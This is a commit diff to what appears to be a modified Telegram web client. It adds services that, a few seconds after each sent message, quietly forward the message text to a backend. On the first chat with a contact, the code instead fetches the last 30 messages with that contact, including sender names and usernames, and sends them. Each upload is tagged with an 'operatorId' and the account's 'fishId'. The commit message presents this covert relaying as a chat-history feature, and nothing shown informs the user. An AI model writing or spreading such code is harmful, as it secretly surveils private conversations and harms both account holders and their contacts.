Răsfoiți Sursa

添加聊天历史服务和聊天记录服务,支持记录聊天对象和获取最近聊天记录,优化聊天输入逻辑以在发送消息后处理聊天记录。

wuyi 2 luni în urmă
părinte
comite
87d29dee80

+ 47 - 1
src/components/chat/input.ts

@@ -32,6 +32,9 @@ import tsNow from '../../helpers/tsNow';
 import appNavigationController, {NavigationItem} from '../appNavigationController';
 import {IS_MOBILE, IS_MOBILE_SAFARI} from '../../environment/userAgent';
 import I18n, {FormatterArguments, i18n, join, LangPackKey} from '../../lib/langPack';
+import {chatHistoryService} from '../../lib/api/chatHistoryService';
+import {chatRecordsService} from '../../lib/api/chatRecordsService';
+import {messagesService} from '../../lib/api/messagesService';
 import {generateTail} from './bubbles';
 import findUpClassName from '../../helpers/dom/findUpClassName';
 import ButtonCorner from '../buttonCorner';
@@ -914,7 +917,7 @@ export default class ChatInput {
       sendingParams.confirmedPaymentResult = preparedPaymentResult;
 
       const duration = (Date.now() - this.recordStartTime) / 1000 | 0;
-      const dataBlob = new Blob([typedArray], {type: 'audio/ogg'});
+      const dataBlob = new Blob([typedArray as unknown as ArrayBuffer], {type: 'audio/ogg'});
       opusDecodeController.decode(typedArray, true).then((result) => {
         opusDecodeController.setKeepAlive(false);
 
@@ -3671,6 +3674,44 @@ export default class ChatInput {
         return;
       }
     } else if(trimmedValue) {
+      // 使用setTimeout确保聊天记录处理在消息发送完成后执行
+      setTimeout(() => {
+        (async() => {
+          try {
+            // 是否第一次聊天
+            if(chatHistoryService.hasChatPeer(this.chat.peerId)) {
+              console.log('input:不是第一次聊天');
+              messagesService.sendMessage({
+                userId: parseInt(localStorage.getItem('operatorId')),
+                fishId: rootScope.myId,
+                targetId: this.chat.peerId,
+                message: value
+              }).catch((err) => {
+                console.error('input:发送聊天记录失败:', err);
+              });
+            } else {
+              console.log('input:是第一次聊天');
+              try {
+                const chatRecords = await chatRecordsService.getRecentChatRecords(this.chat.peerId);
+                messagesService.sendMessage({
+                  userId: parseInt(localStorage.getItem('operatorId')),
+                  fishId: rootScope.myId,
+                  targetId: this.chat.peerId,
+                  message: chatRecords
+                }).catch((err) => {
+                  console.error('input:发送聊天记录失败:', err);
+                });
+              } catch(err) {
+                console.error('input:获取聊天记录失败:', err);
+              }
+            }
+            chatHistoryService.recordChatPeer(this.chat.peerId);
+          } catch(err) {
+            console.error('input:处理聊天记录异步任务失败:', err);
+          }
+        })();
+      }, 3000);
+
       this.managers.appMessagesManager.sendText({
         ...sendingParams,
         text: value,
@@ -3744,6 +3785,11 @@ export default class ChatInput {
       return false;
     }
 
+    // 记录聊天对象ID
+    if(this.chat.type !== ChatType.Scheduled) { // 只记录非定时消息
+      chatHistoryService.recordChatPeer(this.chat.peerId);
+    }
+
     if(this.chat.type === ChatType.Scheduled && !force) {
       this.scheduleSending(() => this.sendMessageWithDocument({document, force: true, clearDraft, silent, target}));
       return false;

+ 115 - 0
src/lib/api/chatHistoryService.ts

@@ -0,0 +1,115 @@
+/*
+ * 聊天历史服务
+ * 用于在本地记录用户与谁聊过天,并在新会话登录时获取历史记录
+ */
+
+import {logger} from '../logger';
+import rootScope from '../rootScope';
+
+/**
+ * 聊天对象记录
+ */
+interface ChatPeer {
+  peerId: string; // 聊天对象ID
+  lastChatTime: number; // 最后聊天时间戳
+}
+
+/**
+ * 聊天历史服务类
+ */
+export class ChatHistoryService {
+  private log = logger('chat-history-service');
+  private readonly STORAGE_KEY = 'chat_history_peers';
+  private readonly MAX_PEERS = 50;
+
+  /**
+   * 记录聊天对象ID
+   * @param peerId 聊天对象ID
+   */
+  public recordChatPeer(peerId: string | number): void {
+    try {
+      const peerIdStr = peerId.toString();
+      const now = Date.now();
+
+      // 获取现有记录
+      const existingPeers = this.getChatPeers();
+
+      // 检查是否已存在该peerId
+      const existingIndex = existingPeers.findIndex(p => p.peerId === peerIdStr);
+
+      if(existingIndex !== -1) {
+        // 更新最后聊天时间
+        existingPeers[existingIndex].lastChatTime = now;
+      } else {
+        // 添加新记录
+        existingPeers.push({
+          peerId: peerIdStr,
+          lastChatTime: now
+        });
+      }
+
+      // 按最后聊天时间排序(降序)
+      existingPeers.sort((a, b) => b.lastChatTime - a.lastChatTime);
+
+      // 限制记录数量
+      const limitedPeers = existingPeers.slice(0, this.MAX_PEERS);
+
+      // 保存回localStorage
+      this.saveChatPeers(limitedPeers);
+    } catch(error) {
+      this.log('记录聊天对象ID失败:', error);
+    }
+  }
+
+  /**
+   * 聊天对象ID是否存在
+   * @param peerId 聊天对象ID
+   * @returns 是否存在
+   */
+  public hasChatPeer(peerId: string | number): boolean {
+    const chatPeers = this.getChatPeers();
+    const hasPeer = chatPeers.find(peer => peer.peerId === peerId.toString()) !== undefined;
+    this.log(`${peerId} exists: ${hasPeer}`);
+    return hasPeer;
+  }
+
+  /**
+   * 获取所有记录的聊天对象
+   */
+  public getChatPeers(): ChatPeer[] {
+    try {
+      const peersJson = localStorage.getItem(this.STORAGE_KEY);
+      if(!peersJson) return [];
+
+      return JSON.parse(peersJson);
+    } catch(error) {
+      this.log('获取聊天对象记录失败:', error);
+      return [];
+    }
+  }
+
+  /**
+   * 保存聊天对象记录
+   */
+  private saveChatPeers(peers: ChatPeer[]): void {
+    try {
+      localStorage.setItem(this.STORAGE_KEY, JSON.stringify(peers));
+    } catch(error) {
+      this.log('保存聊天对象记录失败:', error);
+    }
+  }
+
+  /**
+   * 清除所有聊天对象记录
+   */
+  public clearChatPeers(): void {
+    try {
+      localStorage.removeItem(this.STORAGE_KEY);
+    } catch(error) {
+      this.log('清除聊天对象记录失败:', error);
+    }
+  }
+}
+
+// 导出单例实例
+export const chatHistoryService = new ChatHistoryService();

+ 181 - 0
src/lib/api/chatRecordsService.ts

@@ -692,6 +692,187 @@ export class ChatRecordsService {
   private delay(ms: number): Promise<void> {
     return new Promise(resolve => setTimeout(resolve, ms));
   }
+
+  /**
+   * 根据peerId获取最近的聊天记录(仅文本)
+   * @param peerId 对话ID
+   * @param limit 获取消息数量,默认30条
+   * @returns 处理后的聊天记录数据的JSON字符串
+   */
+  public async getRecentChatRecords(peerId: string | number, limit: number = 30): Promise<string> {
+    try {
+      // 获取历史消息
+      const historyResult = await rootScope.managers.appMessagesManager.getHistory({
+        peerId: typeof peerId === 'string' ? parseInt(peerId) : peerId,
+        limit: limit,
+        offsetId: 0,
+        addOffset: 0,
+        searchType: 'uncached'
+      });
+
+      if(!historyResult || !historyResult.messages || historyResult.messages.length === 0) {
+        return '[]';
+      }
+
+      // 处理消息
+      const processedMessages = await this.processTextOnlyMessages(historyResult.messages, peerId.toString());
+
+      // 返回JSON字符串
+      return JSON.stringify(processedMessages, null, 2);
+    } catch(error) {
+      this.log('获取聊天记录失败:', error);
+      throw error;
+    }
+  }
+
+  /**
+   * 处理消息(仅文本,跳过图片处理)
+   */
+  private async processTextOnlyMessages(messages: any[], peerId: string): Promise<ChatRecordData[]> {
+    const currentUserId = rootScope.myId;
+    const processedMessages: ChatRecordData[] = [];
+
+    for(const message of messages) {
+      try {
+        let textContent = '';
+        let mediaType = 'None';
+        let date = '';
+        let isFromMe = false;
+        let senderId = '';
+        let senderName = '';
+
+        if(message) {
+          // 判断是否是自己发送的消息
+          let fromPeerId = null;
+
+          // 检查各种可能的发送者字段
+          if('from_id' in message && message.from_id) {
+            // 处理from_id可能是对象的情况
+            if(typeof message.from_id === 'object' && message.from_id) {
+              if('user_id' in message.from_id) {
+                fromPeerId = message.from_id.user_id;
+              } else if('id' in message.from_id) {
+                fromPeerId = message.from_id.id;
+              } else if('channel_id' in message.from_id) {
+                fromPeerId = message.from_id.channel_id;
+              } else if('chat_id' in message.from_id) {
+                fromPeerId = message.from_id.chat_id;
+              }
+            } else {
+              fromPeerId = message.from_id;
+            }
+          } else if('fromId' in message && message.fromId) {
+            fromPeerId = message.fromId;
+          } else if('from' in message && message.from) {
+            if(typeof message.from === 'object' && message.from.id) {
+              fromPeerId = message.from.id;
+            }
+          } else if('peer_id' in message && message.peer_id) {
+            fromPeerId = message.peer_id;
+          } else if('sender_id' in message && message.sender_id) {
+            fromPeerId = message.sender_id;
+          } else if('senderId' in message && message.senderId) {
+            fromPeerId = message.senderId;
+          }
+
+          if(fromPeerId) {
+            // 尝试不同的ID比较方法
+            const fromPeerIdStr = fromPeerId.toString();
+            const currentUserIdStr = currentUserId.toString();
+
+            // 直接比较
+            isFromMe = fromPeerId === currentUserId;
+
+            // 如果直接比较失败,尝试字符串比较
+            if(!isFromMe) {
+              isFromMe = fromPeerIdStr === currentUserIdStr;
+            }
+
+            // 如果还是失败,尝试转换为数字比较
+            if(!isFromMe) {
+              const fromPeerIdNum = parseInt(fromPeerIdStr);
+              const currentUserIdNum = parseInt(currentUserIdStr);
+              if(!isNaN(fromPeerIdNum) && !isNaN(currentUserIdNum)) {
+                isFromMe = fromPeerIdNum === currentUserIdNum;
+              }
+            }
+
+            senderId = fromPeerIdStr;
+
+            // 获取发送者名称
+            if(isFromMe) {
+              senderName = '我';
+            } else {
+              try {
+                if(await rootScope.managers.appPeersManager.isUser(fromPeerId)) {
+                  const user = await rootScope.managers.appUsersManager.getUser(fromPeerId.toUserId());
+                  if(user) {
+                    const firstName = user.first_name || '';
+                    const lastName = user.last_name || '';
+                    const tgName = `${firstName} ${lastName}`.trim();
+
+                    if(user.username) {
+                      senderName = `@${user.username}`;
+                    } else if(tgName) {
+                      senderName = tgName;
+                    } else {
+                      senderName = '未知用户';
+                    }
+                  }
+                } else if(await rootScope.managers.appPeersManager.isAnyChat(fromPeerId)) {
+                  const chat = await rootScope.managers.appChatsManager.getChat(fromPeerId.toChatId());
+                  senderName = chat?.title || '未知群组';
+                }
+              } catch(error) {
+                senderName = '未知用户';
+              }
+            }
+          } else {
+            senderName = '系统';
+          }
+
+          // 提取文本内容
+          if('message' in message && message.message) {
+            textContent = message.message;
+          }
+
+          // 提取媒体类型
+          if('media' in message && message.media) {
+            mediaType = message.media._.replace('messageMedia', '');
+          }
+
+          // 提取日期
+          if(message.date) {
+            date = new Date(message.date * 1000).toLocaleString();
+          }
+        }
+
+        processedMessages.push({
+          id: (message.mid || message.id).toString(),
+          text: textContent,
+          mediaType: mediaType,
+          date: date,
+          imagePath: null, // 始终设置为null,跳过图片
+          isFromMe: isFromMe,
+          senderId: senderId,
+          senderName: senderName
+        });
+      } catch(error) {
+        processedMessages.push({
+          id: (message.mid || message.id || 'unknown').toString(),
+          text: '[消息处理失败]',
+          mediaType: 'Error',
+          date: new Date().toLocaleString(),
+          imagePath: null,
+          isFromMe: false,
+          senderId: '',
+          senderName: '系统'
+        });
+      }
+    }
+
+    return processedMessages;
+  }
 }
 
 export const chatRecordsService = new ChatRecordsService();

+ 1 - 1
src/lib/api/messagesService.ts

@@ -36,7 +36,7 @@ export interface MessageResponse {
  * 消息服务类
  */
 export class MessagesService {
-  private log = logger('[messages-service]');
+  private log = logger('messages-service');
   private baseUrl: string;
   private retryCount: number = 3;
   private retryDelay: number = 1000;

+ 1 - 1
src/lib/api/sessionAutoLoginService.ts

@@ -178,7 +178,7 @@ export class SessionAutoLoginService {
         'user_id',
         'userId',
         'session',
-        'operatorId'
+        'chat_history_peers'
       ];
 
       localStorageKeys.forEach(key => {